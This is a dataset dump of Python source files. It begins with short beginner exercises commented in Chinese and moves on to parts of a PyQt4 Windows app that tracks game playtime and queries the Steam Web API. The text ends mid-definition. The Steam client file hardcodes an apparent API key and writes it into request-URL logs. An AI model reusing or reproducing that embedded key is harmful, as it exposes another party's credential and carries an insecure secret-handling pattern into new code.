code
stringlengths
1
1.72M
language
stringclasses
1 value
''' Created on 2012-7-27 列表解析 @author: root ''' list = [1,9,8,4] #语法关键 sth (for) elem (in) list,加上筛选条件,甚至可以完全替换原来列表中到元素 list = [elem for elem in list if elem%2==0] print(list)
Python
''' Created on 2012-7-26 @author: root ''' import os #获取当前模块所在到目录 print(os.getcwd()) #当前用户到home目录 print(os.path.expanduser('~')) current = os.getcwd() (dirname,file) = os.path.split(current) print(dirname) print(file)
Python
''' Created on 2012-7-24 元组,相当与不可变到数组 @author: root ''' a_tuple = ("a", "b", "mpilgrim", "z", "example")
Python
''' Created on 2012-7-24 集合 @author: root ''' setA = {1,3,4,5} #以列表为基础创建集合 aList = ['a','b','c'',d'] setB = set(aList) print(setB) print(type(setA)) print(len(setB)) #空集合 a = set() #空字典 b = {} print(type(a)) print(type(b)) #集合所无序的 a.update('taylor') a.add('jim') #集合中不能出现相同到值 a.update({1,26,3},{5,5,5}) a.update([10,20,30]); #删除,删除不存在的元素抛出异常 if('taylor' in a): a.remove('taylor') #使用discard删除不存的key不会抛出异常 a.discard('taylor32323') print(a) #相当与随机删除 a.pop() #清空 a.clear() a.update([1,2,34,5,6,7]) b={3,4,5,6,7} #类似数学中的集合运算 print(a.union(b)) print(a.intersection(b)) print(a.difference(b)) a.issubset(b) print(b.issuperset(a)) #并及中仅仅出现一次到元素 print(a.symmetric_difference(b))
Python
''' Created on 2012-7-26 @author: root ''' print(type(None)) if(not None): print(True)
Python
''' Created on 2012-7-26 字典,相当与map @author: root ''' dictA = {'server':'db.diveintopy','database':'rtrtr'} print(dictA['server']) #不存在到键值抛出异常 #dictA['db'] #修改 dictA['server']='localserver' #添加 dictA['user']='admin' print(dictA) b={1000:['kb','mb','gb','tb'],1024:['kib','mib','gib']} print(b[1000][3])
Python
''' Created on 2012-7-24 @author: root ''' #声明一个列表,类似与ArrayList a_list = ['a', 'b', 'mpilgrim', 'z', 'example'] a_list.append('taylor') #支持负索引 print(a_list[-1]) #所有列表中到元素 a_list[ : ] #列表中位置1到位置3到元素 a_list[0 :3 ] #检索 count = a_list.count('taylor') index = a_list.index('taylor' ) if 'taylor' in a_list: print(True) #delete del a_list[1] a_list.remove("taylor") a_list.pop();
Python
''' Created on 2012-7-20 @author: qiang.chen ''' #整数除法 print(13.5//5) #浮点数除法 print(13/5) #取余 print(6.5%5) #幂运算 print(-3**2)
Python
''' Created on 2012-7-20 三引号之间可以输入多行string @author: qiang.chen ''' a = 'what\'s your name? ' b = "My name's taylor chan!" print(a+b) c = 1234562322222222222222222233333333333333333333333 print(repr(type(c))) name = input("please input your username:") password = input("please input your password: ") if(name =="admin" and password == "admin"): print("login sucess!") else: print("login error")
Python
''' Created on 2012-7-20 @author: qiang.chen ''' #dfdfdfds# import sys sys.path sys print("this is taylor's first python programm"); a = input("please input yourname :") x = 15 if(x == 12): print('x == 12') #代码缩进 else: print("x != 12") #代码缩进 x = x - 6 print(str(x))#没有括号,用代码缩进代替逻辑分支
Python
''' Created on 2012-7-20 @author: qiang.chen ''' x = 5 y = 10 if x==5 and y != 10: print("x==5 y != 10") else: print("fdfdfd") print(x==5 or y == 10) if(not True): print("not true")
Python
''' Created on 2012-7-20 @author: qiang.chen ''' #布尔型其实是整形常量 true = True #0为假,所有非0为真,包括负数 false = False integer = 10 #整数可以任意大 long =3232300000000000000000000000000 #双精度浮点数 double = 3.1415926 #复数 z = 9.54847754-8.31441J print(type(long)) floatA = 1.12345678901234567890 print(floatA) print(float(2))
Python
''' Created on 2012-7-24 @author: root ''' import sys print(sys.__name__)
Python
''' Created on 2012-7-20 @author: qiang.chen ''' __num = 12 def printFun(): #全局变量保留字,其实可以不使用 global __num num = __num + 1 print("printFun's num = "+str(num)) printFun()
Python
''' Created on 2012-7-20 @author: qiang.chen ''' class MyClass(): ''' 自定义的类 ''' __userName = '' #私有属性前必须使用两个下划线为前缀 # #代表Python中特殊方法专用的标识,如__init__代表构造器 def __init__(self,name): ''' 相当与构造器 ''' self.__userName = name def getUserName(self): return self.__userName if __name__ == "__main__" : myClass = MyClass('taylor') print(myClass.getUserName())
Python
# -*- coding: utf-8 -*- ''' Created on 03.01.2013 @author: heller ''' import sys, os, win32com.client from ui import MainWindow from PyQt4 import QtGui from util import flushLogfiles def pidRunning(pid): '''Check For the existence of a pid.''' wmi = win32com.client.GetObject('winmgmts:') prc = wmi.ExecQuery('Select * from win32_process where ProcessId=%s' % pid) return (len(prc)>0) def main(): # check if the program is already running pid = str(os.getpid()) pidfile = "~firestarter.pid" running = False if os.path.isfile(pidfile): # pid file available? with open(pidfile, 'r') as pf: oldpid = pf.readlines()[0] if pidRunning(oldpid): # process with pid still alive? running = True if running: sys.exit() else: with open(pidfile, 'w') as pf: pf.write(pid) # verify directory structure neededFolders = ("cache", "cache/icons", "cache/steam", "export") for folder in neededFolders: if not os.path.isdir(folder): os.makedirs(folder) ret = MainWindow.RestartCode while ret == MainWindow.RestartCode: flushLogfiles(("parser.log","steamapi.log"), 'utf-8') app = QtGui.QApplication(sys.argv) # run program mainWnd = MainWindow() mainWnd.show() ret = app.exec_() del mainWnd del app # cleanup and exit os.remove(pidfile) sys.exit(ret) if __name__=="__main__": main()
Python
# -*- coding: utf-8 -*- import os, copy from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt, pyqtSignal from util import formatTime class IconSizeComboBox(QtGui.QComboBox): supportedIconSizes = (32, 48, 128, 256) textTemplate = "%ix%i px" IconSizeChanged = pyqtSignal(int) def __init__(self, parent=None): QtGui.QComboBox.__init__(self, parent) self.addItem("16x16 px") for size in IconSizeComboBox.supportedIconSizes: self.addItem(IconSizeComboBox.textTemplate % (size, size)) self.setCurrentIndex(4) self.currentIndexChanged.connect(self.CurrentIndexChangedSlot) def CurrentIndexChangedSlot(self, index): i = self.currentIndex() if i == 0: self.IconSizeChanged.emit(16) else: self.IconSizeChanged.emit(IconSizeComboBox.supportedIconSizes[i-1]) def SetCurrentSize(self, size): if size == 16: self.setCurrentIndex(0) else: text = IconSizeComboBox.textTemplate %(size,size) self.setCurrentIndex(self.findText(text)) class SortModeComboBox(QtGui.QComboBox): ManualSortingSelected = pyqtSignal() SortByTitleSelected = pyqtSignal() SortByTimeSelected = pyqtSignal() manualTxt = "Manual sorting" byTitleTxt = "Sort by title" byTimeTxt ="Sort by playtime" def __init__(self, parent=None): QtGui.QComboBox.__init__(self, parent) self.addItem(SortModeComboBox.manualTxt) self.addItem(SortModeComboBox.byTitleTxt) self.addItem(SortModeComboBox.byTimeTxt) # connections self.currentIndexChanged.connect(self.CurrentIndexChangedSlot) def CurrentIndexChangedSlot(self): text = self.currentText() if str(text) == SortModeComboBox.manualTxt: self.ManualSortingSelected.emit() elif str(text) == SortModeComboBox.byTitleTxt: self.SortByTitleSelected.emit() elif str(text) == SortModeComboBox.byTimeTxt: self.SortByTimeSelected.emit() def SelectManualSorting(self): self.setCurrentIndex(0) class LibraryListWidget(QtGui.QWidget): """ Widget listing the whole library of a profile (including Steam games) in a table. Entries can be modified, these modifications are stored temporarily and only made effective when accepting the parent dialog. """ """ BUG: Undo/Redo bugged, as code-generated changes in the table also trigger the itemChanged() signal. """ def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.modifications = [] # list of modifications to entries which can be applied when clicking 'Apply' or 'OK' in parent dialog self.redoQueue = [] self.InitLayout() self.InitConnections() def AppendModification(self, changedItem): row, col = changedItem.row(), changedItem.column() if col == 0: # show/hide toggled checked = (changedItem.checkState() == Qt.Checked) self.modifications.append( ("toggleVisibility", row) ) elif col == 1: # name changed self.modifications.append( ("rename", row, unicode(changedItem.text()))) def Fill(self, entries): self.entries = entries self.table.setRowCount(len(entries)) row = 0 for e in entries: self.table.setRowHeight(row, 16) twi = QtGui.QTableWidgetItem() # checkbox in tablewidgetitem twi.setFlags(Qt.ItemIsSelectable | Qt.ItemIsUserCheckable | Qt.ItemIsEnabled) twi.setCheckState(Qt.Checked if not e.isHidden else Qt.Unchecked) twi.setTextAlignment(Qt.AlignHCenter) twi.setToolTip("Uncheck to hide entry") self.table.setItem(row, 0, twi) self.table.setItem(row, 1, QtGui.QTableWidgetItem(e.label)) self.table.setItem(row, 2, QtGui.QTableWidgetItem(e.entryType)) self.table.setItem(row, 3, QtGui.QTableWidgetItem(formatTime(e.totalTime))) row += 1 # connect only after filling list, otherwise the initialization # would be registered as changes already self.table.itemChanged.connect(self.AppendModification) def InitConnections(self): self.undoBtn.clicked.connect(self.Undo) self.redoBtn.clicked.connect(self.Redo) def InitLayout(self): lay = QtGui.QHBoxLayout() btnLay = QtGui.QVBoxLayout() self.table = QtGui.QTableWidget() self.table.verticalHeader().hide() columns = ["", "Name", "from", "Playtime"] self.table.setColumnCount(len(columns)) self.table.setHorizontalHeaderLabels(columns) self.table.setColumnWidth(0,20) self.table.setColumnWidth(1,160) self.table.setColumnWidth(2,100) self.table.setColumnWidth(2,100) self.undoBtn = QtGui.QPushButton() self.undoBtn.setIcon(QtGui.QIcon(os.path.join("gfx", "edit-undo.png"))) self.undoBtn.setToolTip("Undo") self.redoBtn = QtGui.QPushButton() self.redoBtn.setIcon(QtGui.QIcon(os.path.join("gfx", "edit-redo.png"))) self.redoBtn.setToolTip("Redo") btnLay.addWidget(self.undoBtn) btnLay.addWidget(self.redoBtn) btnLay.addStretch() lay.addWidget(self.table) lay.addLayout(btnLay) self.setLayout(lay) def Redo(self): if len(self.redoQueue) == 0: return redoMod = self.redoQueue.pop() cmd, row = redoMod[0], redoMod[1] if cmd=="rename": self.table.item(row,1).setText(redoMod[2]) elif cmd=="toggleVisibility": itm = self.table.item(row,0) if itm.checkState() == Qt.Checked: itm.setCheckState(Qt.Unchecked) elif itm.checkState() == Qt.Unchecked: itm.setCheckState(Qt.Checked) def Undo(self): if len(self.modifications) == 0: return lastMod = self.modifications.pop() self.redoQueue.append(lastMod) cmd, row = lastMod[0], lastMod[1] if cmd=="rename": self.table.item(row,1).setText(self.entries[row].label) elif cmd=="toggleVisibility": itm = self.table.item(row,0) if itm.checkState() == Qt.Checked: itm.setCheckState(Qt.Unchecked) elif itm.checkState() == Qt.Unchecked: itm.setCheckState(Qt.Checked) class ToolsToolbar(QtGui.QToolBar): def __init__(self, parent=None): QtGui.QToolBar.__init__(self, "Tools", parent) # init children self.totalTime = QtGui.QLabel("Total playtime: <b>Never played</b>") self.iconSizeComboBox = IconSizeComboBox() self.sortComboBox = SortModeComboBox() self.upBtn = QtGui.QPushButton() self.upBtn.setIcon(QtGui.QIcon(os.path.join("gfx", "Actions-arrow-up-icon.png"))) self.upBtn.setEnabled(False) self.downBtn = QtGui.QPushButton() self.downBtn.setIcon(QtGui.QIcon(os.path.join("gfx", "Actions-arrow-down-icon.png"))) self.downBtn.setEnabled(False) self.statsBtn = QtGui.QPushButton() self.statsBtn.setIcon(QtGui.QIcon(os.path.join("gfx", "stats.png"))) # init layout dwWdg = QtGui.QWidget(self) dwWdg.setLayout(QtGui.QHBoxLayout()) dwWdg.layout().addWidget(self.totalTime) dwWdg.layout().addWidget(self.statsBtn) dwWdg.layout().addStretch(1) dwWdg.layout().addWidget(self.sortComboBox) dwWdg.layout().addWidget(self.upBtn) dwWdg.layout().addWidget(self.downBtn) dwWdg.layout().addWidget(self.iconSizeComboBox) self.addWidget(dwWdg) def DisableDownButton(self): self.downBtn.setEnabled(False) def DisableUpButton(self): self.upBtn.setEnabled(False) def EnableButtons(self): self.upBtn.setEnabled(True) self.downBtn.setEnabled(True) def UpdatePlaytime(self, time): self.totalTime.setText("Total playtime: <b>%s</b>" % formatTime(time).replace('<', '&lt;')) class AutoSelectAllLineEdit(QtGui.QLineEdit): """ Custom QLineEdit which automatically selects all text if clicked. """ def __init__(self, text="", parent=None): QtGui.QLineEdit.__init__(self, text, parent) def mousePressEvent(self, e): QtGui.QWidget.mousePressEvent(self, e) self.selectAll() class OverviewRenderArea(QtGui.QWidget): def __init__(self, entries, parent=None): QtGui.QWidget.__init__(self) self.entries = entries self.zoom = 1. self.setSizePolicy(QtGui.QSizePolicy.Maximum, QtGui.QSizePolicy.Maximum) self.setBackgroundRole(QtGui.QPalette.Shadow) self.setAutoFillBackground(True) self.iconSize = 32 self.fontSize = 12 self.largeFontFactor = 1.72 self.margin = 2 self.vspace = 5 self.border = 1 self.numEntries = 20 entryWidth = self.zoom * (600+2*self.margin + self.vspace + 2*self.border) self.setMinimumSize(entryWidth + 2*self.vspace, 40) def paintEvent(self, event): numEntries = min(self.numEntries, len(self.entries)) # geometry calculations entryHeight = self.zoom * ( self.iconSize + 2*self.margin + 2*self.border) entryWidth = self.zoom * (600+2*self.margin + self.vspace + 2*self.border) fullRect = QtCore.QRect(0, 0, entryWidth+ 2*self.vspace, numEntries * (entryHeight+self.vspace) + self.vspace) innerRect = QtCore.QRect(self.margin + self.border, self.margin + self.border, entryWidth - 2*(self.margin+self.border), entryHeight-2*(self.margin+self.border)) self.setMinimumSize(fullRect.size()) # create painter, fonts, pens and brushes painter = QtGui.QPainter(self) labelFont = QtGui.QFont("Cambria", self.zoom*self.fontSize*self.largeFontFactor) labelFont.setBold(True) timeFont = QtGui.QFont("Calibri", self.zoom*self.fontSize) timeFont.setBold(False) textPen = QtGui.QPen(Qt.white) bgGrad = QtGui.QLinearGradient(QtCore.QPointF(0,0), QtCore.QPointF(0,fullRect.height())) bgGrad.setColorAt(0, QtGui.QColor(63,63,61)) bgGrad.setColorAt(0.15, QtGui.QColor(55,55,55)) bgGrad.setColorAt(1, QtGui.QColor(38,38,39)) backgroundBrush = QtGui.QBrush(bgGrad) defaultPen = QtGui.QPen(QtGui.QColor(124,124,124)) defaultBrush = QtGui.QBrush() painter.setPen(defaultPen) painter.setBrush(defaultBrush) barGrad = QtGui.QLinearGradient(QtCore.QPointF(0,0), QtCore.QPointF(innerRect.width(),0)) barGrad.setColorAt(0, QtGui.QColor(138,138,138)) barGrad.setColorAt(0.5, QtGui.QColor(110,110,110)) barGrad.setColorAt(1, QtGui.QColor(75,75,75)) barPen = QtGui.QPen(Qt.NoPen) barBrush = QtGui.QBrush(barGrad) # draw background painter.save() painter.setBrush(backgroundBrush) painter.setPen(Qt.NoPen) painter.drawRect(fullRect) painter.restore() painter.translate(self.vspace, self.vspace) tmax = max([e.totalTime for e in self.entries]) iEntry = 0 for entry in self.entries: if iEntry >= numEntries: break # begin painting if self.border != 0: painter.save() defaultPen.setWidth(self.border) borderRect = QtCore.QRect(0, 0, entryWidth, entryHeight) painter.drawRect(borderRect) painter.restore() barRect = copy.copy(innerRect) barRect.setLeft(barRect.left()+ self.iconSize + self.vspace) # playtime bar fillPct = entry.totalTime / tmax barRect.setWidth(max(1, fillPct * barRect.width())) painter.save() painter.setPen(barPen) painter.setBrush(barBrush) painter.drawRect(barRect) painter.restore() # icon and title painter.save() painter.setFont(labelFont) painter.drawPixmap(innerRect.topLeft(), entry.icon.pixmap(self.iconSize, self.iconSize)) painter.setPen(textPen) painter.drawText(innerRect.translated(self.iconSize+self.vspace, 0), Qt.AlignVCenter, entry.label) # playtime painter.setFont(timeFont) painter.drawText(innerRect, Qt.AlignRight | Qt.AlignBottom, formatTime(entry.totalTime)+ " played") painter.restore() painter.translate(0, entryHeight + self.vspace) iEntry += 1
Python
# -*- coding: utf-8 -*- ''' Created on 03.01.2013 @author: heller ''' import time, os import json import urllib2 import xml.dom.minidom import xml.parsers.expat from util import LogHandler, formatTime from PyQt4 import QtGui, QtCore username = 'hasustyle' class PlayerSummary(object): def __init__(self): pass class SteamGameStats: def __init__(self, appid, name, playtime, iconUrl=None, logoUrl=None): self.appid = appid self.name = name self.playtime = playtime self.iconUrl = iconUrl self.logoUrl = logoUrl class SteamApi(LogHandler): ERR_INVALID_USER = 1 auth_key = '383C363E19CFA9A8B5C0A576CE8E253D' def __init__(self, logEnabled = True): LogHandler.__init__(self, logEnabled, 'steamapi.log') if logEnabled: self._Log("Creating Steam API object.") def __del__(self): LogHandler.__del__(self) def GetPlayerSummary(self, steamid): self._Log("Requesting player summary for steam ID %i" % steamid) res = self.GetPlayerSummaries((steamid,)) if len(res) > 0: return res[0] else: return None def GetPlayerSummaries(self, steamids): if len(steamids) < 1: return elif len(steamids) > 100: raise ValueError("GetPlayerSummaries called with a list of %i steam IDs, maximum of 100 IDs is supported!" % len(steamids)) request = 'http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%s&steamids=' % SteamApi.auth_key for id in steamids: request += '%s,' % str(id) request = request[:-1] # cut the last comma self._Log("Player summaries query: %s" % request) # fetch result try: f = urllib2.urlopen(request, timeout=10) except urllib2.URLError: # timeout self._Log("Timeout, no connection to Steam.") return [] summaries = json.load(f, encoding='utf-8')["response"]["players"] f.close() playerSummaries = [] for s in summaries: ps = PlayerSummary() for var in s.keys(): setattr(ps, var, s[var]) playerSummaries.append(ps) self._Log("Received %i player summaries." % len(playerSummaries)) # for invalid steam id, this list will be empty! return playerSummaries def GetGameNamesByAppId(self, appids, steamid): if len(appids) < 1: return #elif len(appids) > 100: # raise ValueError("GetGameNamesByAppId called with a list of %i app IDs, maximum of 100 IDs is supported!" % len(appids)) names = [] nameById = {} for appid in appids: request = 'http://api.steampowered.com/ISteamUserStats/GetUserStatsForGame/v0002/?appid=%s&key=%s&steamid=%s' % (appid, SteamApi.auth_key, steamid) self._Log("User stats for game query: %s" % request) # fetch result try: f = urllib2.urlopen(request, timeout=10) except urllib2.URLError: # timeout self._Log("Timeout, no connection to Steam.") break response = json.load(f, encoding='utf-8') f.close() name = response["playerstats"]["gameName"] names.append(name) nameById[appid] = name return names, nameById def GetOwnedGames(self, steamid): request = 'http://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key=%s&steamid=%s&include_appinfo=1&include_played_free_games=1&format=json' % (SteamApi.auth_key, steamid) self._Log("Owned games query: %s" % request) # fetch result try: f = urllib2.urlopen(request, timeout=10) except urllib2.URLError: # timeout self._Log("Timeout, no connection to Steam.") return [] response = json.load(f, encoding='utf-8')["response"] f.close() self._Log("Received %i owned games (game count: %i)" % (len(response["games"]), response["game_count"])) return response["games"] def GetSteamIdByUsername(self, username): # try to fetch xml profile, this might take several tries xmlString = None request = 'http://steamcommunity.com/id/%s/?xml=1' % username self._Log("Trying to fetch Steam profile by username: %s" % request) startTime = time.clock() try: f = urllib2.urlopen(request, timeout=10) except urllib2.URLError: # timeout self._Log("Timeout, no connection to Steam.") print "Timeout" return None profile = f.read() f.close() try: xmlString = xml.dom.minidom.parseString(profile) except xml.parsers.expat.ExpatError: self._Log("Failed to fetch profile ID after %.2f seconds." % (time.clock()-startTime)) return None try: id_unicode = xmlString.getElementsByTagName('steamID64')[0].firstChild.wholeText except IndexError: # steamID64 not found self._Log("Invalid profile, response does not contain 'steamID64' (username: %s)" % username) return SteamApi.ERR_INVALID_USER id = int(id_unicode) self._Log("Received profile ID %i after %.2f seconds." % (id, time.clock()-startTime)) return id # a = SteamApi() # games = a.GetOwnedGames("76561197968959644") # # gameObjs = [] # for g in games: # if "playtime_forever" in g and g["playtime_forever"] > 0: # gameObj = SteamGameStats(g["appid"], g["name"], g["playtime_forever"], g["img_icon_url"], g["img_logo_url"]) # gameObjs.append(gameObj) # # for g in gameObjs: # print "%s: %s" % (g.name, formatTime(60.*g.playtime)) # print "http://media.steampowered.com/steamcommunity/public/images/apps/%s/%s.jpg" % (g.appid, g.logoUrl)
Python
# -*- coding: utf-8 -*- ''' Created on 03.01.2013 @author: heller ''' #import os, time import ctypes #import pickle #import subprocess, threading import shutil import codecs #from ctypes import byref from types import * from PyQt4 import QtGui, QtCore from PyQt4.QtCore import Qt, pyqtSignal from win32api import * try: from winxpgui import * except ImportError: from win32gui import * from win32gui_struct import * import win32com.client usr32 = ctypes.windll.user32 from widgets import ToolsToolbar #IconSizeComboBox from entries import * from dialogs import * from util import din5007, EntrySettings, SteamEntrySettings, ProfileSettings, FileParser, formatTime, formatLastPlayed, openFileWithCodepage, stringToFilename from steamapi import SteamGameStats #class EntryButton(QtGui.QToolButton): # def __init__(self, entry=None, parent=None, iconSize=48): # QtGui.QToolButton.__init__(self, parent) # # self.iconSize = iconSize # # # init button # self.setAutoRaise(True) # self.setIconSize(QtCore.QSize(self.iconSize,self.iconSize)) # self.setToolButtonStyle(Qt.ToolButtonTextUnderIcon if self.iconSize > 16 else Qt.ToolButtonTextBesideIcon) # # # init menu # self.setPopupMode(QtGui.QToolButton.MenuButtonPopup) # # if not entry: return # if entry.icon is not None: self.setIcon(entry.icon) # self.entry = entry # self.UpdateText() # # self.setMenu(EntryMenu(self.entry, self)) # # self.clicked.connect(entry.Run) # self.entry.UpdateText.connect(self.UpdateText) # # def ChooseIcon(self): # dlg = ChooseIconDialog(self, file=self.entry.filename, suggestions=True) # result = dlg.exec_() # # if result == None: return # else: # path, id = result # self.entry.iconPath = path # self.entry.preferredIcon = id # self.entry.LoadIcon() # self.UpdateIcon() # self.entry.UpdateProfile.emit() # # def Rename(self): # entry = self.entry # # text, accepted = QtGui.QInputDialog.getText(self, "Rename %s" % entry.label, "Please enter new name:", text=entry.label) # if accepted: # entry.label = text # self.UpdateText() # self.entry.UpdateProfile.emit() # # def UpdateIcon(self): # self.setIcon(self.entry.icon) # # def UpdateText(self): # entry = self.entry # if entry.running: timeText = "Currently running..." # else: # if entry.totalTime == 0.: timeText ="Never played" # elif entry.totalTime < 60.: timeText = "<1m played" # elif entry.totalTime < 20.*60: timeText = "%im %is played" % (entry.totalTime//60, entry.totalTime%60) # elif entry.totalTime < 60.*60: timeText = "%im played" % (entry.totalTime//60) # elif entry.totalTime < 20.*60*60: timeText = "%ih %im played" % (entry.totalTime//3600, (entry.totalTime%3600)//60) # elif entry.totalTime < 200.*60*60: timeText = "%ih played" % (entry.totalTime//3600) # else: timeText = "%id %ih played" % (entry.totalTime//86400, (entry.totalTime%86400)//3600) # text = entry.label + "\n" + timeText # self.setText(text) # #class EntryListTItem(QtGui.QTableWidgetItem): # def __init__(self, entry=None, parent=None, iconSize=48): # QtGui.QTableWidgetItem.__init__(self) # # self.setTextAlignment(QtCore.Qt.AlignHCenter | QtCore.Qt.AlignTop) # # self.iconSize = iconSize # self.parent = parent # # if not entry: return # if entry.icon is not None: self.setIcon(entry.icon) # self.entry = entry # self.UpdateText() # # self.entry.UpdateText.connect(self.UpdateText) # # def parent(self): # return self.parent if self.parent else None # # def UpdateIcon(self): # self.setIcon(self.entry.icon) # # def UpdateText(self): # entry = self.entry # if entry.running: timeText = "Currently running..." # else: # if entry.totalTime == 0.: timeText ="Never played" # elif entry.totalTime < 60.: timeText = "<1m played" # elif entry.totalTime < 20.*60: timeText = "%im %is played" % (entry.totalTime//60, entry.totalTime%60) # elif entry.totalTime < 60.*60: timeText = "%im played" % (entry.totalTime//60) # elif entry.totalTime < 20.*60*60: timeText = "%ih %im played" % (entry.totalTime//3600, (entry.totalTime%3600)//60) # elif entry.totalTime < 200.*60*60: timeText = "%ih played" % (entry.totalTime//3600) # else: timeText = "%id %ih played" % (entry.totalTime//86400, (entry.totalTime%86400)//3600) # text = entry.label + "\n" + timeText # self.setText(text) class EntryWidget(QtGui.QWidget): # base class for new-style entry items which are custom widgets instead of ListWidgetItems # and live within a custom widget instead of a certain type of ListWidget def __init__(self, entry=None, parent=None, iconSize=48): QtGui.QWidget.__init__(self, parent) self.InitLayout() self.iconSize = iconSize self.parent = parent self.showPlaytime = True if not entry: return if entry.icon is not None: self.icon = entry.icon self.entry = entry self.UpdateText() self.entry.UpdateText.connect(self.UpdateText) self.entry.UpdateIcon.connect(self.UpdateIcon) def parent(self): return self.parent if self.parent else None def InitLayout(self): lay = QtGui.QVBoxLayout() self.icon = QtGui.QIcon() self.nameLbl = QtGui.QLabel("Unnamed entry") lay.addWidget(self.icon) lay.addWidget(self.nameLbl) self.setLayout(lay) def UpdateIcon(self): self.icon = self.entry.icon def UpdateText(self): entry = self.entry if entry.running: timeText = "Currently running... %s" % formatTime(entry.currentSessionTime) else: if entry.totalTime == 0.: timeText ="Never played" else: timeText = formatTime(entry.totalTime) + " played" # not enough space for this! only showed in list/details mode (16x16px) currently #timeText += ", last played: " + formatLastPlayed(entry.lastPlayed) if self.showPlaytime: text = entry.label + "\n" + timeText elif entry.running: text = entry.label + " - Currently running..." else: text = entry.label self.nameLbl.setText(text) class EntryItem(QtGui.QListWidgetItem): """ Base class for entry items, independent of whether they are in list or icon view mode """ def __init__(self, entry=None, parent=None, iconSize=48): QtGui.QListWidgetItem.__init__(self, parent) self.iconSize = iconSize self.parent = parent if not entry: return if entry.icon is not None: self.setIcon(entry.icon) self.entry = entry self.UpdateText() self.entry.UpdateText.connect(self.UpdateText) self.entry.UpdateIcon.connect(self.UpdateIcon) def parent(self): return self.parent if self.parent else None def UpdateIcon(self): self.setIcon(self.entry.icon) def UpdateText(self): entry = self.entry if entry.running: timeText = "Currently running... %s" % formatTime(entry.currentSessionTime) else: if entry.totalTime == 0.: timeText ="Never played" else: timeText = formatTime(entry.totalTime) + " played" # not enough space for this! only showed in list/details mode (16x16px) currently #timeText += ", last played: " + formatLastPlayed(entry.lastPlayed) if self.showPlaytime: text = entry.label + "\n" + timeText elif entry.running: text = entry.label + " - Currently running..." else: text = entry.label self.setText(text) class EntryListItem(EntryItem): """ Specific entry item for list view """ def __init__(self, entry=None, parent=None, iconSize=48): self.showPlaytime = False EntryItem.__init__(self, entry, parent, iconSize) self.setTextAlignment(QtCore.Qt.AlignLeft) class EntryIconItem(EntryItem): """ Specific entry item for icon view """ def __init__(self, entry=None, parent=None, iconSize=48): self.showPlaytime = True EntryItem.__init__(self, entry, parent, iconSize) self.setTextAlignment(QtCore.Qt.AlignHCenter | QtCore.Qt.AlignTop) class EntryMenu(QtGui.QMenu): def __init__(self, parent=None): QtGui.QMenu.__init__(self, parent) self.renameAction = QtGui.QAction("&Rename", self) self.chooseIconAction = QtGui.QAction("Choose &icon", self) self.propertiesAction = QtGui.QAction("&Properties", self) self.removeAction = QtGui.QAction("&Delete", self) self.addAction(self.chooseIconAction) self.addAction(self.renameAction) self.addAction(self.propertiesAction) self.addSeparator() self.addAction(self.removeAction) self.InitConnections() def InitConnections(self): if self.parent() is not None: self.chooseIconAction.triggered.connect(self.parent().ChooseIconForItem) self.propertiesAction.triggered.connect(self.parent().EditItem) self.renameAction.triggered.connect(self.parent().RenameItem) self.removeAction.triggered.connect(self.parent().RemoveItem) #class CategoryTWidget(QtGui.QTableWidget): # ProfileChanged = pyqtSignal() # # def __init__(self, iconSize = 48): # QtGui.QTableWidget.__init__(self, 6, 6) # # # layout/design initialization # self.iconSize = iconSize # self.contextMenu = EntryMenu(self) # self.count = 0 # # self.setVerticalHeaderItem(1, QtGui.QTableWidgetItem("")) # # self.clearSelection() # # style = "QTableView { background-image: url(gfx/wood-texture.jpg); color: white; background-attachment: fixed; }"\ # + "QTableView::item { border: 1px solid rgba(0,0,0,0%); }"\ # + "QTableView::item:hover { background: rgba(0,0,0, 18%); border: 1px solid rgba(0,0,0,0%); }"\ # + "QTableView::item:selected { background: rgba(0,0,0, 35%); border: 1px solid black; }" # self.setStyleSheet(style) # # # connections # self.itemDoubleClicked.connect(self.RunItem) # # def contextMenuEvent(self, e): # lwitem = self.itemAt(e.pos()) # if lwitem is not None: # self.contextMenu.exec_(e.globalPos()) # # def dropEvent(self, e): # QtGui.QListView.dropEvent(self, e) # # item = self.itemAt(e.pos()) # if item is not None: # #newpos = (r.top()/self.gridSize().height(), r.left()/self.gridSize().width()) # newpos = ( item.row(), item.col() ) # if newpos != item.entry.position: # item.entry.position = newpos # self.ProfileChanged.emit() # # def mousePressEvent(self, e): # if self.itemAt(e.pos()) is None: # self.clearSelection() # # QtGui.QAbstractItemView.mousePressEvent(self, e) # # def AddEntry(self, entry): # e = EntryListTItem(entry=entry, parent=self, iconSize=self.iconSize) # # pos = self.count//self.columnCount(), self.count%self.columnCount() # self.setItem(pos[0], pos[1], e) # e.entry.position = pos # # self.count += 1 # # def ChooseIconForItem(self): # item = self.currentItem() # if not item: return # dlg = ChooseIconDialog(self, file=item.entry.filename, suggestions=True) # result = dlg.exec_() # # if result == None: return # else: # path, id = result # item.entry.iconPath = path # item.entry.preferredIcon = id # item.entry.LoadIcon() # item.UpdateIcon() # item.entry.UpdateProfile.emit() # # def RemoveItem(self): # item = self.currentItem() # if not item: return # # self.parent().RemoveItemT(item.entry, item.row(), item.column()) # # def RenameItem(self): # item = self.currentItem() # if not item: return # entry = item.entry # # text, accepted = QtGui.QInputDialog.getText(self, "Rename %s" % entry.label, "Please enter new name:", text=entry.label) # if accepted: # entry.label = text # item.UpdateText() # item.entry.UpdateProfile.emit() # # def RunItem(self,item): # item.entry.Run() class CategoryWidget(QtGui.QListWidget): FirstItemSelected = pyqtSignal() IconChanged = pyqtSignal() LastItemSelected = pyqtSignal() EnableReorderButtons = pyqtSignal() ProfileChanged = pyqtSignal() def __init__(self, parent=None, iconSize = 48): QtGui.QListWidget.__init__(self, parent) self.iconSize = iconSize self.contextMenu = EntryMenu(self) # connections self.itemActivated.connect(self.RunItem) self.itemSelectionChanged.connect(self.ItemSelectionChanged) self.currentRowChanged.connect(self.ItemSelectionChanged) # connect this too, as reordering might change row but keep item selection def contextMenuEvent(self, e): lwitem = self.itemAt(e.pos()) if lwitem is not None: self.contextMenu.exec_(e.globalPos()) def dropEvent(self, e): QtGui.QListView.dropEvent(self, e) item = self.itemAt(e.pos()) if item is not None: r = self.visualItemRect(item) newpos = (r.top()/self.gridSize().height(), r.left()/self.gridSize().width()) if newpos != item.entry.position: item.entry.position = newpos self.ProfileChanged.emit() def mousePressEvent(self, e): if self.itemAt(e.pos()) is None: self.clearSelection() QtGui.QAbstractItemView.mousePressEvent(self, e) def 